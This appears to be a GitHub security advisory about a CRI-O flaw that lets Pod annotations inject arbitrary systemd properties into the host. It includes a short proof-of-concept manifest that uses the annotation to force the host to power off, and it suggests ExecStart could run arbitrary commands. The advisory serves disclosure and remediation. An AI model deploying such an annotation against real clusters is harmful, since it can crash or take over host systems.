On CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation:
---
apiVersion: v1
kind: Pod
metadata:
name: poc-arbitrary-systemd-property-injection
annotations:
# I believe that ExecStart with an arbitrary command works here too,
# but I haven't figured out how to marshalize the ExecStart struct to gvariant string.
org.systemd.property.SuccessAction: "'poweroff-force'"
spec:
containers:
- name: hello
image: [quay.io/podman/hello](http://quay.io/podman/hello)
This means that any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.
Tested with CRI-O v1.24 on minikube. I didn't test the latest v1.29 because it is incompatible with minikube: https://github.com/kubernetes/minikube/pull/18367
Thanks to Cédric Clerget (GitHub ID @cclerget) for finding out that CRI-O just passes pod annotations to OCI annotations: https://github.com/opencontainers/runc/pull/3923#discussion_r1532292536
CRI-O has to filter out annotations that have the prefix "org.systemd.property."
See also: - https://github.com/opencontainers/runtime-spec/blob/main/features.md#unsafe-annotations-in-configjson - https://github.com/opencontainers/runc/pull/4217
Unfortunately, the only workarounds would involve an external mutating webhook to disallow these annotations
{ "nvd_published_at": null, "cwe_ids": [ "CWE-77" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-04-30T09:39:38Z" }